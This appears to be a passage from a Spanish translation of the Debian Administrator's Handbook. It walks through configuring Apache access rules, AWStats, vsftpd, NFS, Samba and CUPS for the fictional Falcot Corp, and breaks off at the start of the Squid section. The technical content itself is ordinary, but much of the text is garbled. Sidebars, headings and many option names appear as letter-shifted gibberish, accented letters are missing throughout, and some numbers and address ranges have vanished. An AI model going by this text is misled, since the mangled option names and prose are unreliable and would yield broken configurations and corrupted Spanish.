A la inversa, 0SEFS BMMPX EFOZ rechaza el acceso si no coincide ninguna directiva "MMPX GSPN
(o si coincide una directiva %FOZ GSPN).
A las directivas "MMPX GSPN y %FOZ GSPN le puede seguir una direccin IP, una red (como 
,  o inclusive ), un nombre de equipo o nombre de
dominio o la palabra clave BMM que incluye a todos.
&KFNQMP 

3FDIB[BS EF GPSNB QSFEFUFSNJOBEB QFSP QFSNJUJS EFTEF MB SFE MPDBM

Order deny,allow
Allow from 192.168.0.0/16
Deny from all

 "OBMJ[BEPSFT EF SFHJTUSPT


Generalmente se instala un analizador de registros en un servidor web; ya que ste provee a los
administradores una idea precisa sobre los patrones de uso del servidor.
Los administradores de Falcot Corp seleccionaron AWStats (estadsticas web avanzadas: Advanced Web Statistics) para analizar sus archivos de registro de Apache.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

El primer paso de configuracin es personalizar el archivo /etc/awstats/awstats.conf. Los


administradores de Falcot lo mantuvieron sin cambios ms que los siguientes parmetros:
LogFile="/var/log/apache2/access.log"
LogFormat = " %virtualname %host %other %logname %time1 %methodurl %code %bytesd %
refererquot %uaquot"
SiteDomain="www.falcot.com"
HostAliases="falcot.com REGEX[^.*\.falcot\.com$]"
DNSLookup=1
LoadPlugin="tooltips"

Todos estos parmetros estn documentados con comentarios en el archivo de la plantilla. En


particular, los parmetros LogFile y LogFormat describen la ubicacin y el formato del archivo
de registros y la informacin que contiene; SiteDomain y HostAliases enumeran los varios
nombres con los que se conocer el sitio web principal.
En sitios con mucho trfico, no debera definir DNSLookup como ; para sitios ms pequeos,
como el de Falcot ya descripto, esta configuracin permite conseguir reportes ms legibles que
incluyen nombres completos de equipos en lugar de slo direcciones IP.
4&(63*%"%
"DDFTP B MBT FTUBETUJDBT

%F GPSNB QSFEFUFSNJOBEB "84UBUT HFOFSB FTUBETUJDBT EJTQPOJCMFT FO FM TJUJP


XFC TJO SFTUSJDDJPOFT QFSP QVFEF DPOGJHVSBSMBT QBSB RVF TMP VOBT QPDBT EJ
SFDDJPOFT *1 QSPCBCMFNFOUF JOUFSOBT
QVFEBO BDDFEFSMBT OFDFTJUB EFGJOJS MB
MJTUB EF EJSFDDJPOFT *1 QFSNJUJEBT FO FM QBSNFUSP ALlowAccessFromWebToFol
lowingIPAddresses

AWStats tambin estar activo para otros servidores virtuales; cada servidor virtual necesita su
propio archivo de configuracin, como /etc/awstats/awstats.www.falcot.org.conf.
&KFNQMP 

"SDIJWP EF DPOGJHVSBDJO EF "84UBUT QBSB VO TFSWJEPS WJSUVBM

Include "/etc/awstats/awstats.conf"
SiteDomain="www.falcot.org"
HostAliases="falcot.org"

AWStats utiliza varios conos almacenados en el directorio /usr/share/awstats/icon/. Para


que stos estn disponibles en el sitio web, necesita adaptar la configuracin de Apache para
incluir la siguiente directiva:
Alias /awstats-icon/ /usr/share/awstats/icon/

Luego de unos minutos (y una vez que el script ejecut varias veces), los resultados estarn
disponibles en el sitio web:
http://www.falcot.com/cgi-bin/awstats.pl
http://www.falcot.org/cgi-bin/awstats.pl

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



13&$"6$*/
3PUBDJO EF BSDIJWPT EF
SFHJTUSP

1BSB RVF MBT FTUBETUJDBT UFOHBO FO DVFOUB UPEPT MPT SFHJTUSPT "84UBUT OFDFTJ
UB FKFDVUBS KVTUP BOUFT RVF TF SPUFO MPT BSDIJWPT EF SFHJTUSP EF "QBDIF 5FOJFO
EP FO DVFOUB MB EJSFDUJWB prerotate EFM BSDIJWP /etc/logrotate.d/apache2
QVFEF TPMVDJPOBSMP BHSFHBOEP VO FOMBDF TJNCMJDP B /usr/share/awstats/
tools/update.sh FO /etc/logrotate.d/httpd-prerotate
$ cat /etc/logrotate.d/apache2
/var/log/apache2/*.log {
weekly
missingok
rotate 52
compress
delaycompress
notifempty
create 644 root adm
sharedscripts
postrotate
/etc/init.d/apache2 reload > /dev/null
endscript
prerotate
if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
run-parts /etc/logrotate.d/httpd-prerotate; \
fi; \
endscript
}
$ sudo mkdir -p /etc/logrotate.d/httpd-prerotate
$ sudo ln -sf /usr/share/awstats/tools/update.sh \
/etc/logrotate.d/httpd-prerotate/awstats

4FQB UBNCJO RVF MPT BSDIJWPT EF SFHJTUSP DSFBEPT QPS logrotate OFDFTJUBO TFS
MFHJCMFT QPS UPEPT FTQFDJBMNFOUF "84UBUT &O FM FKFNQMP BOUFSJPS TF HBSBOUJ[B
FTUP DPO MB MOFB create 644 root adm FO MVHBS EF MPT QFSNJTPT QSFEFUFSNJ
OBEPT 640


 4FSWJEPS EF BSDIJWPT '51


FTP (protocolo de transferencia de archivos: File Transfer Protocol) es uno de los primeros protocolos de Internet (RFC 959 fue publicado en 1985!). Era utilizado para distribuir archivos antes
que naciera la web (se cre el protocolo HTTP en 1990, y su versin 1.0 fue formalmente definida
en el RFC 1945 publicado en 1996).
El protocolo permite tanto subir como descargar archivos; por esta razn, todava contina siendo utilizado para desplegar actualizaciones a un sitio web almacenado por nuestro proveedor
de Internet (o cualquier otra entidad que almacene sitios web). En estos casos, se fuerza el acceso seguro con un identificador de usuario y una contrasea; si ste es exitoso, el servidor FTP
proporciona acceso de lectura y escritura al directorio del usuario.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Otros servidores FTP son utilizados principalmente para distribuir archivos para descargar
pblicamente; los paquetes Debian son un buen ejemplo. Se obtiene el contenido de estos servidores desde otros servidores, geogrficamente remotos; luego stos estarn disponibles para
usuarios menos distantes. Esto significa que no necesita autenticacin del cliente; como consecuencia, se conoce este modo de operacin como FTP annimo. Para ser perfectamente
correcto, los clientes s se autentican con el nombre de usuario BOPOZNPVT (annimo); la
contrasea es generalmente, por convencin, la direccin de correo del usuario, pero el servidor la ignora.
Hay muchos servidores FTP disponibles en Debian (ftpd, proftpd-basic, ftpd, etc.). Los administradores de Falcot Corp seleccionaron vsftpd porque slo utilizan el servidor FTP para distribuir unos pocos archivos (incluyendo un repositorio de paquetes Debian); como no necesitan
funcionalidades avanzadas, eligieron enfocarse en los aspectos de seguridad.
Instalar el paquete crea un usuario de sistema Q. Siempre se utiliza esta cuenta para conexiones
FTP annimas, y su directorio (/srv/ftp/) es la raz del rbol al que tienen acceso los usuarios
que se conecten a este servicio. La configuracin predeterminada (en /etc/vsftpd.conf) es
muy restrictiva: nicamente permite acceso annimo como slo lectura (ya que estn desactivadas las opciones XSJUF@FOBCMF y BOPO@VQMPBE@FOBCMF), y los usuarios locales no se pueden
conectar con su nombre de usuario y contrasea usuales para acceder a sus propios archivos (opcin MPDBM@FOBCMF). Sin embargo, esta configuracin predeterminada se adapta correctamente
a las necesidades en Falcot Corp.

 4FSWJEPS EF BSDIJWPT /'4


NFS (sistema de archivos de red: Network File System) es un protocolo que permite acceso remoto a un sistema de archivos a travs de la red. Todos los sistemas Unix pueden trabajar con
este protocolo; cuando se involucran sistemas Windows, debe utilizar Samba en su lugar.
NFS es una herramienta muy til, pero debe tener en cuenta sus limitaciones especialmente
en cuestiones de seguridad: todos los datos pasan a travs de la red sin cifrar (un sniffer puede
interceptarlos); el servidor fuerza restricciones de acceso basado en la direccin IP del cliente
(que puede ser falsificada); y, finalmente, cuando se provee acceso a una mquina cliente a un
espacio NFS compartido mal configurado, el usuario root del cliente puede acceder a todos los
archivos en el espacio compartido (an aquellos que pertenezcan a otros usuarios) ya que el
servidor confa en el nombre de usuario que recibe del cliente (esta es una limitacin histrica
del protocolo).
%0$6.&/5"$*/
k)0850{ EF /'4

"VORVF FT CBTUBOUF BOUJHVP FM k)0850{ EF /'4 FTU SFQMFUP EF JOGPSNB


DJO JOUFSFTBOUF JODMVTJWF NUPEPT QBSB PQUJNJ[BS FM SFOEJNJFOUP 5BNCJO
EFTDSJCF VOB GPSNB EF BTFHVSBS MBT USBOTGFSFODJBT /'4 DPO VO UOFM 44) TJO
FNCBSHP FTUB UDOJDB JNQJEF FM VTP EF lockd
http://nfs.sourceforge.net/nfs-howto/

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



 1SPUFDDJO EF /'4


Debido a que NFS confa en la informacin que recibe de la red, es vital asegurar que slo las
mquinas que deban utilizarlo puedan conectarse a los varios servidores RPC necesarios. El
firewall tambin debe bloquear falseado de IPs (IP spoofing) para prevenir que una mquina
externa acte como una interna y que el acceso a los puertos apropiados est restringido a las
mquinas que deban acceder a espacios compartidos por NFS.
70-7&3 " -04
$*.*&/504
31$

31$ MMBNBEB B QSPDFEJNJFOUP SFNPUP k3FNPUF 1SPDFEVSF $BMM{


FT VO FTUO
EBS 6OJY QBSB TFSWJDJPT SFNPUPT /'4 FT VOP EF FTPT TFSWJDJPT
-PT TFSWJDJPT 31$ TF SFHJTUSBO FO VO EJSFDUPSJP DPOPDJEP DPNP QPSUNBQQFS
kBTPDJBEPS EF QVFSUPT{
 6O DMJFOUF RVF EFTFF SFBMJ[BS VOB DPOTVMUB /'4
QSJNFSP EFCF EJSJHJSTF BM QPSUNBQQFS FO FM QVFSUP  5$1 P 6%1
Z QSF
HVOUBS QPS FM TFSWJEPS /'4 MB SFTQVFTUB HFOFSBMNFOUF NFODJPOBS FM QVFSUP
 FM QSFEFUFSNJOBEP QBSB /'4
 /P UPEPT MPT TFSWJDJPT 31$ VUJMJ[BO VO
QVFSUP GJKP OFDFTBSJBNFOUF

Para que NFS funcione de forma ptima pueden ser necesarios otros servicios RPC, incluyendo
rpc.mountd, rpc.statd y lockd. Sin embargo, de forma predeterminada estos servicios utilizan
un puerto aleatorio (asignado por el portmapper), lo que dificulta filtrar el trfico a los mismos.
Los administradores de Falcot Corp lograron evitar este problema de la forma descripta a continuacin.
Los primeros dos servicios mencionados anteriormente son implementados por programas
en espacio de usuario, iniciados respectivamente por /etc/init.d/nfs-kernel-server y
/etc/init.d/nfs-common. Ambos proveen opciones de configuracin para forzar puertos, los
archivos relevantes que debe modificar para siempre utilizar estas opciones son /etc/default/
nfs-kernel-server y /etc/default/nfs-common.
&KFNQMP 

&M BSDIJWP /etc/default/nfs-kernel-server

# Cantidad de servidores a iniciar


RPCNFSDCOUNT=8
# Prioridad de ejecicin del servidor (revise nice(1))
RPCNFSDPRIORITY=0
# Opciones para rpc.mountd.
# Si tiene un firewall basado en puertos, podra desear configurar
# un puerto fijo aqu con la opcin --port. Para ms informacin
# revise rpc.mountd(8) o http://wiki.debian.org/SecuringNFS
# Para desactivar NFSv4 en el servidor, especifique aqu
# '--no-nfs-version 4'
RPCMOUNTDOPTS="--manage-gids --port 2048"
# Desea iniciar el demonio svcgssd? Slo es necesario para exportaciones



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

# Kerberos. Las alternativas vlidas son "yes" y "no" (predeterminado).


NEED_SVCGSSD=
# Opciones para rpc.svcgssd.
RPCSVCGSSDOPTS=

&KFNQMP 

&M BSDIJWP /etc/default/nfs-common

# Si no configura las opciones NEED_, se intentar autodetectarlas; esto


# debera ser suficiente para la mayora. Las alternativas vlidas para
# las opciones NEED_ son "yes" y "no".
# Desea iniciar el demonio statd? No es necesario para NFSv4.
NEED_STATD=
# Opciones para rpc.statd.
#
rpc.statd debe escuchar en un puerto especfico? Esto es especialmente
#
til cuando tiene un firewall basado en puertos. Para utilizar un puerto
#
fijo, configure en esta variable los parmetros para statd, como:
#
"--port 4000 --outgoing-port 4001". Para ms informacin revise
#
rpc.statd(8) o http://wiki.debian.org/SecuringNFS
STATDOPTS="--port 2046 --outgoing-port 2047"
# Desea iniciar el demonio idmapd? Slo es necesario para NFSv4.
NEED_IDMAPD=
# Desea iniciar el demonio gssd? Es necesario para puntos de montaje Kerberos.
NEED_GSSD=

Una vez que realiz estos cambios y reinici los servicios, rpc.mountd utilizar el puerto 2048;
rpc.statd escuchar en el puerto 2046 y utilizar el puerto 2047 para conexiones salientes.
El servicio lockd es gestionado por un hilo de ncleo (proceso liviano); esta funcionalidad est
compilada como un mdulo en los ncleos Debian. El mdulo tiene dos opciones que permiten
utilizar siempre el mismo puerto: OMN@VEQQPSU y OMN@UDQQPSU. Para que se utilicen siempre
estas opciones, debe existir un archivo /etc/modprobe.d/lockd como el siguiente:
&KFNQMP 

&M BSDIJWP /etc/modprobe.d/lockd

options lockd nlm_udpport=2045 nlm_tcpport=2045

Una vez que estn definidos estos parmetros resulta ms sencillo controlar el acceso al servicio
NFS desde el firewall de una forma especfica filtrando el acceso a los puertos 111 y desde el 2045
al 2049 (tanto UDP como TCP).

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



 4FSWJEPS /'4


El servidor NFS es parte del ncleo Linux; en los ncleos que Debian provee est compilado
como un mdulo de ncleo. Si necesita ejecutar el servidor NFS automticamente al iniciar,
debe instalar el paquete nfs-kernel-server; contiene los scripts de inicio relevantes.
El archivo de configuracin del servidor NFS, /etc/exports, enumera los directorios que estarn disponibles en la red (exportados). Para cada espacio compartido NFS, slo tendrn acceso
las mquinas especificadas. Puede obtener un control ms detallado con unas pocas opciones.
La sintaxis para este archivo es bastante simple:
/directorio/a/compartir maquina1(opcion1,opcion2,...) maquina2(...) ...

Puede identificar cada mquina mediante su nombre DNS o su direccin IP. Tambin puede especificar conjuntos completos de mquinas utilizando una sintaxis como GBMDPUDPN o un rango de direcciones IP  o .
De forma predeterminada (o si utiliza la opcin SP), los directorios estn disponibles slo para
lectura. La opcin SX permite acceso de lectura y escritura. Los clientes NFS tpicamente se
conectan desde un puerto restringido slo a root (en otras palabras, menor a 1024); puede eliminar esta restriccin con la opcin JOTFDVSF (la opcin TFDVSF es implcita, pero puede hacerla
explcita para ms claridad).
De forma predeterminada, el servidor slo responder consultas NFS cuando se complete la operacin actual de disco (la opcin TZOD); puede desactivar esto con la opcin BTZOD. Las escrituras asncronas aumentarn un poco el rendimiento pero disminuirn la fiabilidad debido al
riesgo de prdida de datos en caso de un cierre inesperado del servidor entre que recibi el
pedido de escritura y los datos sean escritos realmente en el disco. Debido a que el valor predeterminado cambi recientemente (comparado con el valor histrico de NFS), se recomienda
configurarlo explcitamente.
Para no proveerle acceso de root al sistema de archivos a ningn cliente NFS, el servidor considerar todas las consultas que parezcan provenir de un usuario root como si provinieran del
usuario OPCPEZ. Este comportamiento corresponde a la opcin SPPU@TRVBTI y est activado de
forma predeterminada. La opcin OP@SPPU@TRVBTI, que desactiva este comportamiento, es riesgosa y slo debe ser utilizada en entornos controlados. Las opciones BOPOVJEVJE y BOPOHJE
HJE permiten especificar otro usuario falso que ser utilizado en lugar de UID/GID 65534 (que
corresponden al usuario OPCPEZ y al grupo OPHSPVQ).
Existen otras opciones disponibles; estn documentadas en la pgina de manual exports(5).
13&$"6$*/
1SJNFSB JOTUBMBDJO

&M TDSJQU EF JOJDJP /etc/init.d/nfs-kernel-server TMP JOJDJB FM TFSWJEPS TJ


FM BSDIJWP /etc/exports JODMVZF BM NFOPT VOP P NT FTQBDJPT DPNQBSUJEPT
/'4 WMJEPT &O MB DPOGJHVSBDJO JOJDJBM VOB WF[ RVF FEJU FTUF BSDIJWP QBSB
RVF DPOUFOHB FMFNFOUPT WMJEPT EFCFS JOJDJBS FM TFSWJEPS /'4 FKFDVUBOEP MP
TJHVJFOUF
# /etc/init.d/nfs-kernel-server start



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 $MJFOUF /'4


Como con cualquier otro sistema de archivos, incorporar un espacio compartido NFS en el jerarqua del sistema es necesario montarlo. Debido a que este sistema de archivos tiene sus peculiaridades fueron necesarios unos pocos ajustes en la sintaxis de mount y en el archivo /etc/fstab.
&KFNQMP 

.POUBKF NBOVBM DPO FM QSPHSBNB mount

# mount -t nfs -o rw,nosuid arrakis.internal.falcot.com:/srv/shared /shared

&KFNQMP 

&MFNFOUP /'4 FO FM BSDIJWP /etc/fstab

arrakis.internal.falcot.com:/srv/shared /shared nfs rw,nosuid 0 0

El elemento descripto monta, al iniciar el sistema, el directorio NFS /srv/shared/ en el servidor BSSBLJT en el directorio local /shared/. Necesita acceso de lectura y escritura (de all el
parmetro SX). La opcin OPTVJE es una medida de proteccin que elimina cualquier bit TFUVJE
o TFUHJE de los programas almacenados en el espacio compartido. Si el espacio compartido NFS
est destinado slo a almacenar documentos, tambin se recomienda utilizar la opcin OPFYFD
que evita la ejecucin de programas almacenados en el espacio compartido.
La pgina de manual nfs(5) describe todas las opciones con algo de detalle.

 $POGJHVSBDJO EF FTQBDJPT DPNQBSUJEPT 8JOEPXT DPO 4BNCB


Samba es un conjunto de herramientas que administran el protocolo SMB (tambin conocido
como CIFS) en Linux. Windows utiliza este protocolo para espacios compartidos de red e impresoras compartidas.
Samba tambin puede actuar como un controlador de dominio Windows. Esta es una herramienta sobresaliente para asegurar una integracin perfecta entre servidores Linux y las mquinas
de escritorios en las oficinas que todava utilizan Windows.

 4FSWJEPS 4BNCB


El paquete samba contiene los dos servidores principales de Samba 3: smbd y nmbd.
)&33".*&/5"
"ENJOJTUSBDJO EF 4BNCB
DPO 48"5

48"5 IFSSBNJFOUB XFC EF BENJOJTUSBDJO EF 4BNC k4BNCB 8FC "ENJOJT


USBUJPO 5PPM{
FT VOB JOUFSGB[ XFC RVF QFSNJUF DPOGJHVSBS FM TFSWJDJP 4BNCB
%FCJEP B RVF FM QBRVFUF TXBU OP BDUJWB TV JOUFSGB[ EF DPOGJHVSBDJO EF GPS
NB QSFEFUFSNJOBEB EFCF BDUJWBSMB NBOVBMNFOUF DPO update-inetd --enable
swat

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



48"5 FTUBS EJTQPOJCMF FO MB 63- http://localhost:901 "DDFEFSMP TJHOJGJDB


VUJMJ[BS MB DVFOUB SPPU DPO TV DPOUSBTFB VTVBM
 4FQB RVF 48"5 SFFTDSJCF FM
BSDIJWP smb.conf FO TV QSPQJP EJBMFDUP QPS MP RVF UJFOF TFOUJEP SFBMJ[BS VOB
DPQJB EF SFTQBMEP BOUFT TJ TMP FTU JOUFSFTBEP FO QSPCBS FTUB IFSSBNJFOUB
48"5 FT NVZ BNJHBCMF TV JOUFSGB[ JODMVZF VO BTJTUFOUF RVF QFSNJUF EFGJOJS
FM SPM EFM TFSWJEPS DPO USFT QSFHVOUBT 5PEBWB QVFEF DPOGJHVSBS UPEBT MBT PQ
DJPOFT HMPCBMFT BT DPNP UBNCJO BRVFMMBT QBSB UPEPT MPT FTQBDJPT DPNQBS
UJEPT FYJTUFOUFT Z QPS TVQVFTUP QVFEF BHSFHBS OVFWPT FTQBDJPT DPNQBSUJEPT
$BEB PQDJO UJFOF VO FOMBDF B MB EPDVNFOUBDJO SFMFWBOUF
-BNFOUBCMFNFOUF 48"5 ZB OP TF NBOUJFOF BDUJWP Z TFS FMJNJOBEP FO MB TJHV
JFOUF WFSTJO EF %FCJBO DPOPDJEB DPNP +FTTJF

%0$6.&/5"$*/
:FOEP NT BMM

&M TFSWJEPS 4BNCB FT FYUSFNBEBNFOUF DPOGJHVSBCMF Z WFSTUJM Z QVFEF BEBQ


UBSTF B NVDIPT DBTPT EF VTP EJGFSFOUFT DPO SFRVJTJUPT Z BSRVJUFDUVSBT EF SFE
NVZ EJTUJOUBT &TUF MJCSP TMP TF FOGPDBS FO FM DBTP EF VTP EPOEF TF VUJMJ[B
4BNCB DPNP FM DPOUSPMBEPS EF %PNJOJP QSJODJQBM QFSP UBNCJO QVFEFS TFS VO
TFSWJEPS TJNQMF FO FM EPNJOJP Z EFMFHBS MB BVUFOUJDBDJO BM DPOUSPMBEPS QSJO
DJQBM RVF QVFEF TFS VO TFSWJEPS 8JOEPXT

-B EPDVNFOUBDJO EJTQPOJCMF FO FM QBRVFUF TBNCBEPD FTU NVZ CJFO FTDSJUB
&O QBSUJDVMBS FM EPDVNFOUP k4BNCB  #Z &YBNQMF{ EJTQPOJCMF DPNP /usr/
share/doc/samba-doc/htmldocs/Samba3-ByExample/index.html
USBUB DPO
VO DBTP EF VTP DPODSFUP RVF FWPMVDJPOB KVOUP BM DSFDJNJFOUP EF MB DPNQBB

)&33".*&/5"
"VUFOUJDBDJO DPO VO
TFSWJEPS 8JOEPXT

8JOCJOE QSPWFF B MPT BENJOJTUSBEPSFT EF TJTUFNBT MB PQDJO EF VUJMJ[BS VO


TFSWJEPS 8JOEPXT DPNP TFSWJEPS EF BVUFOUJDBDJO 8JOCJOE UBNCJO TF JOUF
HSB MJNQJBNFOUF DPO 1". Z /44 &TUP QFSNJUF DPOGJHVSBS NRVJOBT -JOVY FO
MBT RVF UPEPT MPT VTVBSJPT EF VO EPNJOJP 8JOEPXT BVUPNUJDBNFOUF UJFOFO
VOB DVFOUB
1VFEF FODPOUSBS NT JOGPSNBDJO FO FM BSDIJWP /usr/share/doc/samba-doc/
htmldocs/Samba3-HOWTO/winbind.html

$POGJHVSBDJO DPO debconf


El paquete define una configuracin mnima basada en las respuestas a unas pocas preguntas
Debconf realizadas durante la instalacin inicial; puede rehacer luego este paso de configuracin
ejecutando dpkg-reconfigure samba-common samba.
La primera porcin de informacin requerida es el nombre del grupo de trabajo al que
pertenecer el servidor Samba (en nuestro caso la respuesta es '"-$05/&5). Otra pregunta
es sobre si se deben cifrar las contraseas. La respuesta es s, debido a que es necesario para los
clientes Windows ms recientes; adems, aumenta la seguridad. Por el otro lado, esto implica
que deber administrar las contraseas Samba separadas de las contraseas Unix.
El paquete tambin propone identificar el servidor WINS de la informacin provista por el demonio DHCP. Los administradores de Falcot Corp rechazaron esta opcin ya que pretenden utilizar
el servidor Samba en s como servidor WINS.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

La ltima pregunta es sobre si se iniciarn los servidores a travs de inetd o como demonios
independientes. Slo es interesante utilizar inetd cuando se utiliza poco Samba; por lo tanto
los administradores de Falcot prefirieron utilizar demonios independientes.

$POGJHVSBDJO NBOVBM
Cambios en smb.conf Los requisitos en Falcotr requieren modificar otras opciones en el
archivo de configuracin /etc/samba/smb.conf. Los siguientes extractos resumen los cambios
realizados en la seccin <HMPCBM>.
[global]
## Exploracin/Indetificacin ###
# Modifique esto al grupo de trabajo/nombre de dominio NT al que pertenecer su
servidor Samba
workgroup = FALCOTNET
# server string es el equivalente al campo de descripcin en NT
server string = %h server (Samba %v)
# Seccin sobre Windows Internet Name Serving Support:
# Compatibilidad WINS - Indicar al componente NMBD de Samba que active su servidor
WINS
wins support = yes

[...]
####### Autenticacin #######
#
#
#
#

security = user siempre es una buena idea. Esto requerir una cuenta
Unix en este servidor para todo usuario que acceda al servidor. Revise
/usr/share/doc/samba-doc/htmldocs/Samba3-HOWTO/ServerType.html
en el paquete samba-doc para ms detalles.
security = user

# Puede desear cifrar contraseas. Revise la seccin encrypy passwords


# de la pgina de manual smb.conf(5) antes de activarlo.
encrypt passwords = true
# Si utiliza contraseas cifradas, Samba necesitar saber qu tipo de
# base de datos utiliza.
passdb backend = tdbsam
[...]
########## Impresin ##########

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



# Si desea cargar su lista de impresoras automticamente en lugar


# de configurarlas individualmente, necesitar esto
load printers = yes

# Impresin lpr(ng). Puede desear modificar la ubicacin del


# archivo printcap
;
printing = bsd
;
printcap name = /etc/printcap
# Impresin CUPS. Revise tambin la pgina de manual cupsaddsmb(8)
# en el paquete cups-client.

printing = cups 
printcap name = cups





Indica que Samba debe funcionar como un servidor de nombres Netbios (WINS) para la
red local.
Este es el valor predeterminado para este parmetro; sin embargo, como es central a la
configuracin de Samba, se recomienda rellenarlo explcitamente. Cada usuario debe autenticarse antes de acceder a cualquier espacio compartido.
Indica a Samba que comparta automticamente todas las impresoras locales que existen
en la configuracin de CUPS. Todava es posible restringir el acceso a estas impresoras
agregando las secciones apropiadas.
Especifica el sismtea de impresin a utilizar; CUPS en nuestro caso.

Aadir usuarios Cada usuario Samba necesita una cuenta en el servidor; primero debe crear
las cuentas Unix, luego necesita registrar el usuario en la base de datos de Samba. El paso de
Unix se realiza de la forma normal (por ejemplo, utilizando adduser).
Agregar un usuario existente a la base de datos de Samba slo es cuestin de ejecutar smbpasswd
-a usuario; esto pedir la contrasea de forma interactiva.
Puede eliminar un usuario ejecutando smbpasswd -x usuario. Tambin puede desactivar
temporalmente una cuenta Samba (con smbpasswd -d usuario) y reactivarla despus (con
smbpasswd -e usuario).
Cambio a controlador de dominio Esta seccin documenta cmo los administradores de Falcot fueron inclusive ms all y convirtieron el servidor Samba en un controlador de dominio con
perfiles mviles (que permite a los usuarios utilizar su escritorio sin importar la mquina en la
que se conecten).
Primero agregaron unas pocas directivas adicionales en la seccin <HMPCBM> del archivo de configuracin:



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

domain logons = yes


preferred master = yes
logon path = \\ %L\profiles\ %U
logon script = scripts/logon.bat






Habilita la funcionalidad de controlador de dominio.


Especifica la ubicacin de los directorios personales de los usuarios. Estos se almacenan
en un espacio compartido dedicado, lo que permite activar opciones especficas (en particular QSPGJMF BDMT, un requisito necesario para ser compatible con Windows 2000, XP y
Vista).
Especifica el script de lote (batch, no interactivo) que se ejecutar en la mquina Windows cliente cada vez que se inice sesin. En este caso, /var/lib/samba/netlogon/
scripts/logon.bat. El script necesita estar en formato DOS, donde las lneas estn separadas por un carcter de retorno de carro y un carcter de cambio de lnea; si el archivo
fue creado en Linux, ejecutar unix2dos lo convertir.
Los programas ms utilizados en estos scripts permiten la creacin automtica de discos
de red y sincronizar la hora del sistema.
&KFNQMP 

&M BSDIJWP logon.bat

net time \\ARRAKIS /set /yes


net use H: /home
net use U: \\ARRAKIS\utils

Tambin crearon dos espacios compartidos adicionales con sus directorios asociados:
[netlogon]
comment = Servicio de sesiones de red
path = /var/lib/samba/netlogon
guest ok = yes
writable = no
share modes = no
[profiles]
comment = Perfiles compartidos
path = /var/lib/samba/profiles
read only = No
profile acls = Yes

Tambin debieron crear los directorios de cada usuario (como /var/lib/samba/


profiles/usuario) y cada uno de ellos debe ser propiedad del usuario apropiado.

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



 $MJFOUF 4BNCB


La funcionalidad de cliente en Samba le permite a una mquina Linux acceder a espacios e impresoras compartidas en Windows. Los programas necesarios se encuentran en los paquetes
cifs-utils y smbclient.

&M QSPHSBNB smbclient


El programa smbclient consulta servidores SMB. Puede utilizarse la opcin 6 VTVBSJP, para
conectarse con el servidor bajo una identidad concreta. Con smbclient //servidor/espac
iocompartido se accede al espacio compartido de modo interactivo como si se tratara de un
cliente FTP en una consola. smbclient -L servidor enumerar todos los espacios compartidos
(y visibles) en un servidor.

.POUBKF EF FTQBDJPT DPNQBSUJEPT EF 8JOEPXT


El programa mount permite montar un espacio compartido de Windows en la jerarqua del sistema de archivos de Linux (con la ayuda de mount.cifs provisto por cifs-utils).
&KFNQMP 

.POUBKF EF VO FTQBDJP DPNQBSUJEP EF 8JOEPXT

mount -t cifs //arrakis/shared /shared \


-o credentials=/etc/smb-credentials

El archivo /etc/smb-credentials (que no debe ser accesible por usuarios) tiene el siguiente
formato:
username = usuario
password = contrasea

Puede especificar otras opciones en la lnea de rdenes; la lista completa se encuentra disponible
en la pgina de manual mount.cifs(1). Dos opciones en particular pueden ser interesantes: VJE
y HJE que permiten forzar el usuario y grupo dueos de los archivos disponibles en el punto de
montaje para no restringir el acceso a root.
Tambin puede configurar el montaje de un espacio compartido Windows en /etc/fstab:
//servidor/shared /shared cifs credentials=/etc/smb-credentials

Puede desmontar un espacio compartido SMB/CIFS con el programa umount estndar.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

*NQSFTJO FO VOB JNQSFTPSB DPNQBSUJEB


CUPS es una solucin elegante para imprimir desde una estacin de trabajo Linux en una impresora compartida por una mquina Windows. Cuando instale smbclient, CUPS le permitir instalar
impresoras compartidas Windows de forma automtica.
Los pasos necesarios son los siguientes:
Introduzca la interfaz dec configuracin CUPS: IQMPDBMIPTUBENJO
Pulse en Agregar impresora.
Seleccione el dispositivo de impresin, elija Impresora Windows via SAMBA.
Introduzca la URI de conexin para la impresora de red. Debera ser similar a la siguiente:

TNCVTVBSJPDPOUSBTFB!TFSWJEPSJNQSFTPSB.
Introduzca el nombre que identificar unvocamente a esta impresora. Luego introduzca
la descripcin y la ubicacin de la impresora. Se mostrarn estas cadenas a los usarios
para ayudarlos a identificar las impresoras.
Indique el fabricante/modelo de la impresora o, directamente, provea un archivo de descripcin de impresora (PDD: Printer Description File) funcional.
Voil, la impresora ya est lista!

 1SPYZ )551'51


Un proxy HTTP/FTP funciona como intermediaro para conexiones HTTP y/o FTP. Su rol es
doble:
Actuar como cach: los documentos que han sido descargados recientemente son copiados localmente para evitar mltiples descargas.
Servidor de filtro: si el uso del proxy es obligatorio (y se bloquean las conexiones salientes
a menos que sean a travs del proxy), entonces el proxy puede determinar si se permite
o no el pedido.
Falcot Corp eligi a Squid como su servidor proxy.

 *OTUBMBDJO
El paquete Debian squid slo contiene el proxy (cach) modular. Para convertirlo en un servidor de filtro necesitar instalar el paquete adicional squidguard. Adems, squid-cgi provee una
interfaz de consulta y administracin para un proxy Squid.
Antes de instalarlo, debe asegurarse que el sistema pueda identificar su propio nombre completo: hostname f debe devolver el nombre completamente calificado (incluyendo el dominio). Si
no lo hace, entonces debe editar el archivo /etc/hosts para que contenga el nombre completo

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



del sistema (por ejemplo, BSSBLJTGBMDPUDPN). El nombre oficial del equipo debe ser validado
